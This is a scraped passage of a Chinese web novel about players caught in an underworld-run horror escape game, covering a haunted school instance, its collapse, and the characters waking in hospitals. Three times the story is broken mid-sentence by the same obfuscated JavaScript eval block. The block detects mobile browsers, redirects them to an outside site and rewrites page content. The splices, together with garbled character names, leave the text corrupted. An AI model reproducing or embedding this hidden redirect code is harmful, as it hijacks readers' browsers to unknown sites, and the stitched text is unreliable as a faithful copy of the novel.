她身后虽没有千军万马,却紧跟整整一个班级的学生,个个恍若失了智一般。 他们既不是在走,也不是在跑。 明明有腿,却如同鞋底安上轮子一般平滑前移。 未有任何战鼓与厮杀声,却仍令人感觉声势浩大。 李诗书难得沉默了。 宁梨:“……被追那个是江霖霖没错吧?” 沈慕斯一推她脊背:“这种时候你还管那是谁?跑啊!!” 三人推搡着撒腿就跑,厕所旁边就有一条安全通道。 李诗书手长腿长反应迅速,两下跳步绕开宁梨便跑到了第一,扶着栏杆紧盯脚下,双腿捯饬出残影来。 宁梨被沈慕斯手口并用催促着跟紧,沈慕斯自个儿频频回头确认江霖霖和她们之间的距离,等宁梨下一半多了她才开始跟,剩四五层台阶直接一跃而下。 一时间这条安全通道内,脚步声堪称混乱。 * 女厕所内。 刘岚久等不见虞璃出来,拍了拍隔间门:“虞璃?虞璃!” 没人应答。 刘岚心头直犯嘀咕。 不能吧?这虞璃便是最凶残的npc在这儿也得拿她没办法,巴不得赶紧送走这尊大佛,谁会自讨苦吃愿意和她硬刚死耗?那不纯纯脑子有病? 凉风从厕所外渗入。 刘岚摸了摸胳膊,纳闷怎么突然起风了。 她走到厕所门口一看—— 刚好瞅见正在心里辱骂游戏祖宗十八代,面目狰狞的江霖霖那张脸等比例不断放大。 江霖霖一看见她,就跟狗看见肉包子、猫看见老鼠一样,眼里散发出奇异的光芒。 她把背包往身后几十位学生鬼堆里一甩,头都没扭过来就朝女厕所撞。 刘岚纯属是被那一眼看得没反应过来,等反应过来人已经撞得她倒退数步后脑勺磕上隔间挡板了。 “虞璃呢?”江霖霖握着她胳膊,激动地问。 刘岚眼冒金星,感觉自己脑仁裂成了两瓣,但是她的充足经验让她即使暂时性丧失思考能力,身体也能做出最正确的反应。 她拖着江霖霖冲进了虞璃对面那个隔间,然后一把关上了门。 江霖霖和她一人背贴一面挡板站在隔间里,平复着自己的心跳:“这样……就、就没事了?” 刘岚:掉线中…… 江霖霖:“你还没说虞璃呢?” 刘岚:持续掉线中…… 江霖霖拍拍刘岚的肩膀:“诶诶!” 刘岚肩膀一歪躲开她的手,皱着眉揉后脑勺:“你等我缓会儿。” “你总得先告诉我安全了没,要是她们能进来,咱们岂不是被堵死在厕所里了?” 刘岚无可奈何:“……暂时没事了。” “暂时?什么意思?” “这里也有鬼,虞璃要是死了,就轮到我们了。”刘岚故意这么说。 结果江霖霖半点不上当:“那没事了。” 她甚至还有点骄傲:“虞璃肯定没问题。” 刘岚:“……”你什么时候入的虞璃粉籍? 而所有玩家都关注着的虞璃,此时正安然无恙站在隔间里,她进门时的位置上。 右手拿着手机打手电筒,左手揪着一把黑乎乎的染血长发。 半分钟前,虞璃觉得有什么东西在挠她的脸,很痒,还越来越放肆居然还妄图伸进她眼睛里,弄得虞璃可不舒服了。 于是虞璃伸手抓了抓,抓到一大把头发后也没松手,掏出手机往上照。 同一时间那头发的主人和她不断拉锯,试图夺回自己的头发。 虞璃是个有点同理心的“好人”。 她没用力揪鬼头发,反而用不轻不重的力握着,胳膊跟着往上走,不一会儿就捋直了。 手机也顺利从兜里掏了出来。 电筒一亮,鬼怪全貌尽显。 当然从虞璃的视角还是看不见她长什么样,只能看见这头发着实粗糙、脏乱、有一阵子没清洗了。 虞璃指尖松了松,女鬼赶忙伸手捞回自己一部分头发,亲手捻着不让它垂落,省得再落进某人手里。 洁癖不算严重的虞璃忽地又一寻思,摸都摸过了反正都得洗手,这不多和女鬼沟通沟通她岂不是白脏这么一遭,于是干脆剩下那部分头发又给牢牢抓住了。 接着她就起了个话头:“你好像和前面那些鬼不太一样。” 鬼默不作声。 虞璃:“你不怕我?” 鬼:“桀桀……桀……” 这语言不通啊。 虞璃着实有些苦恼,可她这会儿又见不到刘岚,其实也不一定非要见到,关键是也联系不上,只能靠自己。 “桀……” “桀桀。” “——你嘛玩意儿啊?” 女鬼重复单调的语言突然蹦出一句让虞璃倍感熟悉的本土方言。 脑瓜子嗡嗡一下,醍醐灌顶。 女鬼:“你揪得老娘头发痛得很,搞快松开不弄你逗四了嘛!” ——这方言倒也不是很正宗。 女鬼:“我又不晓得进来勒是哪过,要是提前晓得四你,我才不弄你嘞!痛死老痛死老!” 虞璃松开女鬼的头发。 女鬼立刻整个人往上爬了爬,也不垂着脑袋了,抬起头露出了一张烂得很有特色的脸,半边全是血肉,半边完好无损:有一只眼睛、半个鼻子、半张嘴巴。 虞璃可以说,机器切割也就这么精准的一半一半了。 女鬼盯着她:“你似啷个进来嘞?” 虞璃:“走进来的啊,不然呢?” 女鬼定定地看着她,好一会儿才摇了摇头,确切地说:“不是嘞。你不对。不该是你。” 她又往上缩了一点,她没有腿,虞璃借光看见,她的裙子就像是从厕所门顶端长出来的一样,裙摆是鲜血一样的红色,看起来无比单薄扁平,即便是瘦到只有骨头的腿也藏不进去。 “不管啷个说,你在这里肯定没得事。” 虞璃心说这她当然知道,她这不是打遍鬼怪无敌手了么,更不要说似乎还有变态的治愈能力,妥妥的金手指附赠啊。 女鬼:“我回切老,你快点走,哎哟看到你老娘都觉得糟心!到底哪个龟儿子干嘞事哦……” 随着女鬼渐渐缩回顶端,隔间门也缓缓下降,高度回归正常后,虞璃关掉手电上了厕所。 冲水声响起,虞璃推开门与对面两人目光相对—— 江霖霖:“你看我就说她没事儿吧?” 刘岚翻了个白眼,早先的人设被扔到八千里外。 虞璃撑着隔间门一怔:“你俩……” “这事儿说来简单,你们走后不久,李诗书她们也不见了。然后我本来想出门透气,突然发现教室里所有人目光都聚集在我身上,我直觉不太对,拿起书包就跑出来了。” 说完,江霖霖立马往外跑:“我书包——还在还在!” 她捡起书包拍了拍灰:“但是那些鬼去哪里了啊?” 刘岚:“估计回去了。” 预备铃匆匆响起。 虞璃说:“先回去看看。” 三人跑回教室,见学生果真都乖乖坐在座位上,就算听到脚步声也没有人抬头,好像什么都没发生过一样。 李诗书、沈慕斯、宁梨也都坐在自己的座位上。 江霖霖松了口气。 三人各自回到座位。 * 两节自习课时间一晃而过,除了教导主任路过两次静静看了片刻什么都没做以外,没有人再来打扰。 虞璃身体莫名疲惫,所以留在了教室。 刘岚则不知道出于什么原因,反正也没去。 于是最终江霖霖和李诗书三人同行。 半道途中,沈慕斯胳膊肘碰了碰江霖霖:“待会儿你跟着李诗书她俩在外面等我,别进去。” “为什么?”江霖霖没和三人一起经历早上那一遭,虞璃又是个bug,跟在虞璃身边简直跟呆移动安全区没两样,因此她到现在为止都不知道吃饭的重要意义。 离食堂近了,沈慕斯开始张望预备打前站,话就说得敷衍了些:“待会儿你问宁梨吧,让她给你解释。” 江霖霖觉得她们这是排挤她,上来就给她安排得明明白白,再说沈慕斯能去她也能去,她不觉得沈慕斯比她强在哪儿。 沈慕斯被鬼追过吗?没有。 她可是已经被鬼追过两次了,而且两次都从鬼怪手中活了下来,逃生那俩字对她江霖霖来说可是名副其实。 “不,我要跟你一起去。” 沈慕斯心思这会儿就压根没在她身上,随便应和道:“那就一块儿,你自己当心一点啊。” 江霖霖心想,用得着你说?这话跟未卜先知要发生什么一样。 不过江霖霖到底因为沈慕斯的话更增几分警惕。 两人一前一后走进食堂。 食堂里人山人海,每个窗口前都排着长队,放眼望去都快找不到落脚的地方,也找不出一个空位。 江霖霖眼睛往餐桌上一瞟,瞳孔骤缩,浑身僵直。 只见那三菜一饭的餐盘上,本应装满荤菜素菜的小盘子里盛得分别是:缩小版的一整个猪头、五个高高叠起的馒头、一碗米饭。 哪怕江霖霖不知道它们代表了什么意思,仍然心里毛毛的。 再看其他人的餐盘里盛放的,不论布局还是摆盘全都一模一样。 突然,江霖霖被人猛地拽了一下,接着发出尖叫的嘴巴就被一只手死死捂住,听起来就像是闷痛禁不住呼了一声。 “别乱看。”沈慕斯告诫道。 这一次,江霖霖再不敢忽视沈慕斯的话,立刻点头答应。 沈慕斯松开手,指着队列前窗口上的菜谱低声说:“真想看就看那个。” 江霖霖便看了过去。 记忆中满满当当的菜谱现在只剩下三行: 猪头肉、五馒、白米饭。 ——正是对应着那些已经坐下的学生餐盘中的食物。 “我们现在慢慢转过去往外走,如果有什么问题,我会立刻推你一把,然后你就往前跑,经过李诗书她们也不用回头,明白吗?” 江霖霖艰难地咽下一口唾沫,奋力点头。 沈慕斯揽着她的肩膀往食堂外走。 一步、两步…… 沈慕斯的余光始终留意着四周。 周围仿佛无人注意她们。 马上就出去了,看来不会有什么问题,想来见食堂人太多而选择放弃或者晚点再来也是学生的正常举—— 左肩猛地一沉,沈慕斯立刻用力将江霖霖推了出去! 接着,沈慕斯反手握住压在肩上的东西就是一个过肩摔。 看都不看一眼那是个什么玩意儿,她忙往外跑。 —— ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|12380472|131641||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 真勇士从不回头看爆炸。 李诗书和宁梨看见她脱离钳制才扭头去追江霖霖。 宁梨跑得慢些,沈慕斯没过多久就追上了她。 “它们不会跟我们到教学楼吧?”宁梨问。 沈慕斯脸色不太好看:“……很多吗?” 宁梨点了点头。 沈慕斯立即回头,她需要了解一下数量。 ……大概三四十只鬼,它们的手指与牙齿都十分尖利,看着能直接当手术刀和针头使。 这一下回头就给学生鬼充分的机会拉近距离,转回头没来得及加速就听见了布料的刺啦声。 她的校服被划破了。 宁梨也听见了那声音。 她刚偏过一点头,就见一道血线飞溅。 “沈沈!” “没事!来不及了,进小卖部!” 李诗书两人跑得快能进教学楼,她们只能进小卖部将就一下了。 宁梨飞奔推门进去,扶着门等沈慕斯上前,一把将她拉了进来,迅速推上门。 门板狠狠撞在学生鬼的头上,将它撞得向后踉跄几步,直接坐到了地上。 即便这样,这些学生鬼也没有发出任何声音,他们在玻璃门外静静站了一会儿,便陆陆续续地往食堂方向走,就这么又回去了。 沈慕斯按着自己被刺穿的伤口,伸出手摸了一下宁梨的头:“看着吓人,没事儿,游戏而已。” 宁梨本来只是沉默,听她这么一说,眼泪就在眼眶里打转。 “……诶诶别哭啊!真的没事儿,系统已经在修复了,我生命值还有百分之八十呢。”沈慕斯听着系统播报的【玩家生命值回复0.1%,目前生命值:58.7%】,认认真真地胡说八道。 宁梨眼泪啪嗒啪嗒地往下掉。 “你看我现在不是在和你说话吗?声音也正常,好着呢!”沈慕斯笑眯眯道,“好好活着呢。不哭了啊,不知道的还以为你给谁哭丧呢。” “我没有!”宁梨手背一抹,闷闷地说。 “好了好了,既然来了,弄点儿吃的再回去。教室里有饮水机,咱们可以搞点儿桶装方便面。”沈慕斯说,“这会儿可以说当时被李诗书打断的话了。” “早饭都好好在那儿吃还有一个原因,就是在我们已经确定学生鬼怪存在的前提下,早晨没见到不意味着中午也不会见到。当时食堂的窗口菜谱明明不是电子屏显示,但是却只写明了售卖的早点,而我们记忆里又确实有正餐食谱,跟早点食谱就在同一个位置。” “所以食谱内容是会变化的。得知这个信息,那么在学校异常化之后,中午的食谱就不一定会是有益于我们的,因此才需要到了饭点再来确认一下。” “让你多吃一点,这样中午就算吃不饱,下午也不会太饿。” 宁梨:泪眼汪汪。 沈慕斯从地上站起来:“都是小事儿。怎么样,和我做队友不亏吧?” 宁梨重重点头。 “那还不快去挑吃的,为了报答就都刷你的卡行不?” “宁梨”一点儿不缺钱,当然没什么好拒绝的。 宁梨还没挑完,小卖部另一面的玻璃门也被推开,李诗书和江霖霖走了进来。 她们等了一段时间,没见什么动静,便又摸了过来。 看见沈慕斯的伤,两人俱是一默,而后李诗书去帮宁梨挑吃的,江霖霖走到沈慕斯身边,自责地低下了头。 “哎你别来啊,我刚才哄了一个,这会儿真没力气再哄一个了,你昨晚伤可比这惨,你看有人心疼你吗?” 江霖霖表情瞬间一僵。 “……” 沈慕斯看她这表情就知道效果有了,立刻再添一把火:“我没说错吧?安心啊安心,你也去挑自己想吃的东西吧,梨梨请客。” 江霖霖晕头晕脑地就被劝到宁梨这里来了。 反正只在这里呆一天,何况现在就只剩下半天,宁梨和李诗书一合计那钱干脆也不用省了,购物三人组直接开始小卖部大扫荡,有喜欢的就捡。 买了相当多零食,不过若是五六个人分,倒又是算不上多的了。 结账时,柜台阿姨一边扫价格,一边随意道:“那边那个小姑娘,过来给你处理一下伤口。” 四人齐齐:? 这属于是意外之喜了。 尤其是处理完后,沈慕斯发现自己生命值一次性回复到了80%,更是惊诧地看了平平无奇的柜台阿姨一眼。 这种恐怖风格的逃生游戏居然还附带友好型NPC和补给站? 开了眼了。 由于沈慕斯算伤员,所以拎东西的任务就交给了其他三人;又因为只有两袋子,所以李诗书也腾出了手,负责紧跟在伤员身边照顾伤员——虽然沈慕斯也不懂就走几步路上几级台阶有什么可照顾的。 “话说,你们刚才在里面看见了什么?”李诗书问。 江霖霖一听,也一副期待的样子看向沈慕斯,等待她的解答。 “中午窗口供的都是鬼餐。”沈慕斯娓娓道来。 “猪头肉,三牲之一,祭祀所用。馒头向来供单不供双,又称馒首,加了肉馅,用来替代原本用于上贡的人头。白米饭就不说了,民间传说有很多种,其一是凌晨十二点去十字路口摆上一碗白米饭,插上三根香,燃香敲碗,就会引来孤魂野鬼。” “……” 江霖霖和宁梨面色均差,李诗书却倏然道:“你怎么知道这些?” 方才爽快回答的沈慕斯此刻却沉默以对。 高二(五)班教室近在眼前。 在李诗书再次开口、想要继续追问前,教室内传来了虞璃和刘岚的对话声。 “你还是不舒服?”刘岚的声音十分平静,听不出她对虞璃有几分关心。 虞璃的声音轻飘飘的,好像一阵风就能把现在的她吹跑:“感觉有点晕,看不清东西。” “你这种我也是第一次见,我猜测可能是副作用,或者你理解成网游里的debuff也可以。” 门外四人自听到虞璃的回答起就自觉噤声,她们心照不宣此刻刘岚所说的信息对她们来说可谓天降馅饼。 “解决办法?这我也不知道,都说了没见过你这种的,还不止,听都没听过!我也不知道是造了什么孽要遇上你!” “……你再坚持坚持,这副本撑不了多久了,老实说能走完二分之一的时间线我都觉得很不可思议。”刘岚吐槽道。 不知这句话里的哪一个字触动了李诗书的神经,她眼前突然跳出一幅幅画面。 xx攀岩俱乐部、和蔼慈祥的老人、电脑上的策划案、一瞬掉落的手机…… 以及最后的—— 天地倒转,蜿蜒而下的流红、刺眼阳光与无边黑暗。 【编号211副本[学园诡事]数据错误!】 【编号211副本[学院诡事]濒临崩溃!】 【编号211副本[学园诡事]通关成——咔滋滋——】 【编号211副本[学院诡事]数据封存!】 【即将进行人员转移——】 【玩家弹出中——】 【Survivor感谢您的参与,本场游戏到此结束!】 18、地府【一更】 虞璃从睡梦中醒来,撑着床铺坐起,刘岚最后说的几句话在她脑海里模糊。即便有窗帘遮挡,也能看出外面阳光普照,是难得的好天气。 江海市已经连着下了一周的雨,连带着人心情也雾蒙蒙的,有种说不出的烦闷。 不过对于虞璃来说,最令人心烦的还是即便下了那么大的雨,她也不能再宅在家里,必须换上铆钉靴撑着伞,早早起来去上那令人崩溃的早八。 是的,虞璃是一名尚未毕业的大二学生。 不过今天周日,她没定闹钟睡了个饱觉。 四肢酸胀、胸腹有些许不适,或许是她昨晚熬了夜,加之睡觉的时候压着哪里了。 这些不适并不影响她下床和洗漱,所以虞璃没过多在意。 她简单收拾了下自己,换上一件粉蓝短袖和牛仔A字裙,手指勾着钥匙圈晃荡着出了门。 蓝牙耳机放着随机到的歌单,虞璃反复跳了几首,才挑到一首自己觉得还不错的歌。 时间是上午八点过七分,电梯内除了她没别人。 虞璃打算去小区外面的早餐店吃早饭。她是那家店的常客,和老板很熟,一坐下就听人问是不是还按老样子上。 虞璃点了头,耳机正好滴滴几声宣告电量告急。 她想起自己忘记充电,只好把耳机收回带来的耳机壳里。 早餐店开在路边,树梢鸟鸣、行人过路、车辆疾驰,交汇成常人早已习惯的生活之音,很难引起人们的注意。 虞璃也一样。 她正要掏出手机随便看点什么,不想却听到邻桌传来几位老人的讨论声。 “康定路昨天那阵仗太大了!树都撞倒好几棵!”"那可不,公交车上多少人呢!""为啥撞了?"“有人坐过站,硬和司机闹,人说不合规不能给开门,结果那人一听急了,过路口的时候抢司机方向盘……” 虞璃拿出手机上网查这条新闻,发现已经有了最新进展。 截止今天早晨7:48,已有七人抢救成功,暂无生命危险。 她往下翻了翻,警方发的案情经过和老人说的基本相同,除此之外还有一些官媒报道,看着报道的图片,虞璃头部阵阵钝痛。 康定路……昨天傍晚…. 她想起来了! 昨天她打算骑车去江海市市立图书馆,回来路上骑到康定路时,为了躲避一辆外卖员的摩托紧急转向,撞树上摔了一跤,还因为头疼,去医院拍了片子。幸好医生说没什么问题,她又顺便处理了一下其他外伤,这才回了家。 难怪她刚刚总觉得“康定路”有点熟悉,一般没人会刻意去记路名,除非涉及到寄件地址、外送地址才会上心-二。 她去学校不走这条路,自然对它印象不深。 但是昨天撞的那棵树,好巧不巧就在这块路牌边上,她又好巧不巧撞树前瞟到一眼,因此才会觉得熟悉。又恰逢事故现场的图片激发视觉记忆,这才一下子回想起来。 该说倒霉还是幸运,同一个路口一天发生了那么多事儿,她命大只受了些皮外伤。“早点来喽!吃好喝好啊妹妹。”老板亲自给她上菜,虞璃不再多想,拿起勺子专心吃饭。 不尝还不觉得,热腾腾的南瓜粥一进到嘴里,她突觉饥肠辘辘,往常十分好吃的美味眼下更是又增两分,虞璃不禁食指大动。奇怪,她怎么像是两天没吃饭似的? 天空浑黑,又隐有白光透出。 一道浅黄流水分割两岸,一座朱红拱桥立于其上,水流无声,桥上无人。 刘岚站在桥的这头,见那头岸上黑土生长无数血红之花,立刻明白自己这是回来了。见鬼,系统真的出bug了。这次传送都没预告的。 此情此景,刘岚哪里还能不知自己回到了什么地方。 潺潺黄泉水,寂寂孟婆桥。 黑土生长曼珠沙华。 这里便是地府。 也是刘岚打工的地方。 地上阳间在进步,阴曹地府当然不会数千年来毫无变化,不过受限于一般只有鬼魂能来到这里,所以相比阳间是落后了那么一丢丢。 且中土地幅辽阔、人口众多,光人魂数量就抵之前六界生灵数量还要多,负责安排各界魂魄轮转的地府实在有些忙不过来,在经过十殿阎王讨论后,特进行了一次彻底的地府改革。他们【Survivor】,当然这是为了迎合国际局势取的洋名,用中土话说叫【幸存者】,便也是其中一项产物。 目的当然是为了减少不必要的魂魄损耗。 原本中土人数有限,人与自然能和谐共处,六界气运运转流畅。 如今,人凌驾于万物之上,信仰流失,多数人对神灵连一丝敬畏之心也无,又如何会在意沉默不语的自然。 自然不堪重负,阳间气运混乱失衡。连地府的生死簿,都无法准确书写凡人的生平。 于是—— 无数无辜之人早死、惨死、横死、枉死。 他们本命不该绝,生死簿尚未收录他们的名字,可他们的肉身与魂魄却已两分,无缘复合。Survivor便是地府针对这种现象,特设官方机构的内部造物。 无论是酒后驾驶、连环追 尾、交通事故中波及的无辜者,还是各类人渣败类伤害致死的受害者,都会进入逃生游戏【Survivor】,获得魂魄合一的机会。只需要通关唯一的一次副本,就能够转危为安,或是从植物人的状态下苏醒过来。 这已经是地府在力所能及范畴做出的最大努力。 如果没有通过游戏,也有两种选择。 第一,排队转世投胎,不过有可能转世为六界万物中的任何一类。 第二,放弃转世加入【Survivor】的员工团队。 刘岚做鬼怪时间不短,对自己的前尘往事已经记不太清了,只知道她并不是在【Survivor】出现之后才死的。 ISurivor]游戏发行前,地府的队伍已经排得很长很长,多数鬼魂虚弱到魂魄快要消敬,又或是已经没有兴趣等下去,便被[Surivor]简单审核后统统收编,刘岚左不过是这两种之一。比起追溯自己的过去,刘岚更在意自己这次砸得锅都裂了的工作到底怎么回事,又是怎么个解决法。 最最重要的是,她的各项补偿款能不能顺利拿到! 刘岗匆 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14781387|131641||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 匆赶往员工投诉处,发现往常无人问津的投诉处已经排起了长龙,其中不乏她不久前见过的熟面孔:语文老师、纪检长、体育老师、数学老师、教导主任,中间那堆她不认识的估摸着是学生鬼, 还有最后站在她前面的舍管。 舍管看见她也很震惊,像是想起了什么:“靠,你居然不是人?” “….…”刘岚很想说句“你礼貌吗”。“——曾经是过。”她抽了抽嘴角。 舍管:“我说你当时怎么那副表情,原来如此。但你不是套的玩家身份,按道理不受什么影响,怎么还那么怕她?” 刘岚:“……你是新人吧?” 舍管又是一惊:“你怎么知道?!” 刘岚:“你要是老人你也怕。” 说起来舍管是新人居然能被分到这种份量的角色……可谓天资过人,她可是摸爬滚打废了好大劲儿才混成中级NPC的,却想来过不了多久就会被舍管追上。 “你说得有道理。”舍管回想着自己不知天高地厚去触碰某人时的痛楚,“系统在干什么啊啊啊啊啊啊啊有病吧活人生魂也能放进来!” 刘岚一副死人脸:"谁说不是呢?" 没错,正如二人口中所说,也正如现今阳间逍遥快活的虞璃的内心感慨,这家伙压根没死。 Survivor向来选的都是死亡边缘的魂魄,身上死气大大盖过活气。NPC则全是彻头彻尾的死魂,身上只有死气没有活气。 正因如此,玩家才不仅仅能看见NPC,还能与他们发生现实网游中的“交互”行为,即触碰到他们、并对他们造成伤害。 毕竟广义上,大家都算死人。 但是,玩家里混入一个活人就不一样了。活人生魂,魂魄上的活气对于NPC来说是触之即伤,如沾阳火。 是以刘岚才说,“不论何等强大的鬼怪都没胆子和虞璃叫板。” 不过对于玩家又不然。 玩家活气未尽,靠近虞璃可汲取她身上的活气滋补自己——不论是江霖霖极速治愈的伤口,还是玩家(理论上)恢复的本体记忆,都与虞璃有关。 这对虞璃当然没有好处。 她身上活气越少,死气便越多,如果不尽快离开副本,又不与玩家保持距离,她很可能会在副本里死去。 刘岗渐渐口过味来,副本临时结束只可能是其自然崩溃了,反推也就是副本所有鬼怪得知虞璃身份后惶恐不安,玩家恢复本体记忆、大脑脱离系统学控,叠加起来从副本运行和系统控制两方面彻底破坏 了这个副本。 这样她的精神损失费和工伤补偿款肯定跑不掉了! 刘岚徜徉在自己拥有足量地元——地府唯一通行货币以后,该怎么逍遥一阵子的美好未来构想中。不料还未想好,前方的长龙忽地拆了伙。舍管眼疾手快拦下一名学生鬼询问情况。 学生鬼怨气格外深重:“工作人员说上头要先调查清楚情况才能给我们安排补偿,让我们安心等消息,并且随时准备接受询问。”她明显已经丧失理智,恶狠狠地道:“再让我见到那个女人,我非得咬死她不可!”刘岚:……奉劝你珍爱生命啊年轻人。 19、再次入梦【二更】 “梨梨!!” 宁梨一睁眼,母亲喜极而泣的声音立即响起。宁梨口干舌燥,嗓音发哑:“妈妈……我、想……” 守在床边的女人泪水涟涟,激动得有些语无伦次:“你有没有,有没有哪里不舒服?身体?”“哦对,医生说你醒了得赶快按铃——”女人手背一抹眼泪,伸直手臂按下床边的呼叫铃。 宁梨:“妈妈,我渴。” 女人听不清楚,她俯身凑近宁梨:“梨梨你说什么?” “渴……” 床与床之间的帘布陡然被人拉开,一名女人穿上吊带碎花裙,抬手把发丝从衣服里抽出来,拨弄到身后。接着,她转过身,浅淡的褐色瞳孔扫过宁梨脸庞,不冷不热地提醒:“她唇干到起皮了。” 这个女人样貌不说多出挑,但是浑身气质令人忍不住眼神驻足。 宁梨和母亲都怔怔地看着她。 两三秒后,女人稍微蹙了蹙眉,两人才齐齐醒神。 宁梨的母亲立马拿起桌上的水壶给宁梨倒了一杯水,递到她手心里。"梨梨,快喝。" 宁梨抱着水杯咕咚咕咚喝了大半杯,终于觉得喉咙要冒烟的感觉淡了一点。 女人此刻已经转身走到窗户边,掏出手机打电话了。她刻意压制了音量,宁梨这里根本听不见她的声音。"梨梨,你现在感觉怎么样?身上有没有哪里难受的?" 听到母亲关切的讯问,宁梨收回落在女人身上的目光,轻轻摇了摇头。医生和护士很快来到病房,要复核宁梨的身体状况。 看到窗户旁的女人时,医生皱起了眉。 宁梨没留意到,她认真听医生说话,记下要检查的项目,待会儿挨个去。 下床的时候,宁梨突然有一种恍如隔世、熟悉又陌生之感。 陪在身边的母亲口中絮絮叨叨:“妈妈下周的假也给你请好了,你好好休息一段时间再回去上课。” 不知道为什么,听到“上课”二字时,宁梨浑身一抖。 走过病床时,宁梨回头看了一眼隔壁床的标签。 她总觉得自己在哪里见过女人,可是女人这样的长相气质,她不该没有丝毫印象才对……难道是梦吗? "梨梨?”见宁梨脚步放缓,她的母亲担忧道,“是不是妈妈碰到你不舒服的地方了?" “没有。”宁梨露出个安抚性的笑容,"妈妈,我们走吧。" 那张病床对应的病人标签上,名字一栏明明白白写着—— 李诗书。 “嘶——”拿着镜子翻来覆去地照,江霖霖忍不住吐槽道,“这包得也太丑了吧?”“你省省吧。”好友一边削苹果,一边怼她,"我都快被吓死了,幸好你没事。"“怎么?你没去玩啊?”江霖霖放下镜子问。出车祸前,她本是和朋友组局要去一家室内攀岩场攀岩的。她们就两个人,那家场地死贵,不得已在网上和人凑了凑。"你都出车祸了我还能自己去,那我还是人吗?!"好友恼怒。江霖霖捂住嘴巴:“我错了!” 好友叹口气,翻了个白眼继续低头削苹果:“团直接散了,谁也没去成。” “啊?” “我也很惊讶,但那事儿大邪门了!”好友陷隐降低音量,悄声对江霖霖说,“团里十个人,分三拨儿,咱俩一伙儿你出事了,单人去的也撞了,剩下的那一群也有一个康宁路车祸的。”“这么邪门?!”江霖霖也听得浑身发麻。 “可不是么?这谁还有心情去啊?那不就都散了么……好在老板人好,说咱们没玩上,钱退的是全款,咱包场,人亏好大一笔!” “你们也周六晚上去‘鹳雀’攀岩场?”旁边传来一女声询问。 江霖霖使个眼色,好友忙拉开帘子看过去,诧异道:“不会这么巧吧?!” 那边人更多,五六个围着病床上一个人。其中一人代为发言,也有点忍俊不禁:“还真有这么巧。” 两方人交换了姓名,江霖霖得知那边出车祸的也是一名女生,名叫沈慕斯,伤得比她更严重些,她暂时都听不到对方开口说话。有了共同话题,人与人之间的距离瞬间拉近,病房里一下子热闹起来。 两方人年纪看上去相差无几,一问果真也是,都是U大的大三学生,只不过江霖霖和好友是哲学院的,那边是金融系的。 彼此还交换了联系方式,江霖霖看着沈慕斯朋友圈里的照片,不由嘀咕一句:“这脸怎么看着那么熟悉…” 好友:“你说什么?” “没什么。”江霖霖放下手机,吃了一块苹果,“我再躺会儿。” 好友把果盘放在旁边,戴上耳机:“行,那我看会儿综艺,你有什么事就叫我,我音量开得不大,能听见。” “谢谢你啊晴子。” "可拉倒吧,我还等你赶快好起来陪我打本玩密室嗨桌游呢。"“……我收回刚才的感谢。” 江霖霖听那一串听得一个头两个大,那些她是真不擅长,每次都昏头昏脑地输掉,是毫无疑问的黑洞玩家。 无所事事喜欢宅家的虞璃,纵使外头阳光明媚,也毫无外出游玩的兴致,吃过早饭她照例散步消食后就回到公寓。洗完澡睡了一觉,醒来时太阳还未落山 ,虞璃打着哈欠去门口拿挂在门把手上的外卖,补上午饭。然后她穿着家居服在床上滚了一圈,拉开抽屉摸出一个游戏机,躺在床上玩起了游戏。可能是真的精力不济,也可能是躺在床上房间内又拉着窗帘没开灯,昏暗环境里人会不自觉想要睡觉,虞璃不知怎的就手一软,正脸接住游戏机。 按理说接下来房内该响起一声痛呼—— 然而虞璃房间内却是一片寂静。 年轻美丽的女孩横躺在床上,白发从床边落下,被子盖着右腿,左腿抵在贴有游戏海报的墙壁上。 姿势极不雅观,可应该没人会在意这一点,因为——她的胸口起伏微弱,呼吸声几乎没有。 …… 虞璃低头看着自己掌心的游戏机,她嘴里还嚼着一片口香糖,身上穿的是西装三件套,戴一条粉领带。由于西裤面料过于柔软,还能感受到兜里略着皮肤微微发烫的手机。虞璃摸摸头顶,她脑袋上还扣了一个贝雷帽。 最后,她把目光移向前方半腰高的玻璃门拦下的一条空阔通道,通道内的地轨连接着漆黑幽深的两端。 这是……地铁站? 她不是在打游戏吗?等等,她好像打着打着有点犯困…. 不会吧?她又进梦里了?! “尊敬的乘客,请注意,从[鬼门关]开往阳间的地铁 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14781388|131641||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 将于五分钟后进站,请需要上车的乘客们站在站台门两侧,先下后上,不要拥挤……” 虞璃眉尾一动。 这怎么听怎么诡异的站名像极了恐怖副本,难道说她不仅清醒入梦,还极其罕见地进了连续梦? 关键是睡着的时候拿着的游戏机和没拿着的手机都进来了,这就很离谱,像是生怕她无聊……该说不愧是她自己的梦境吗? 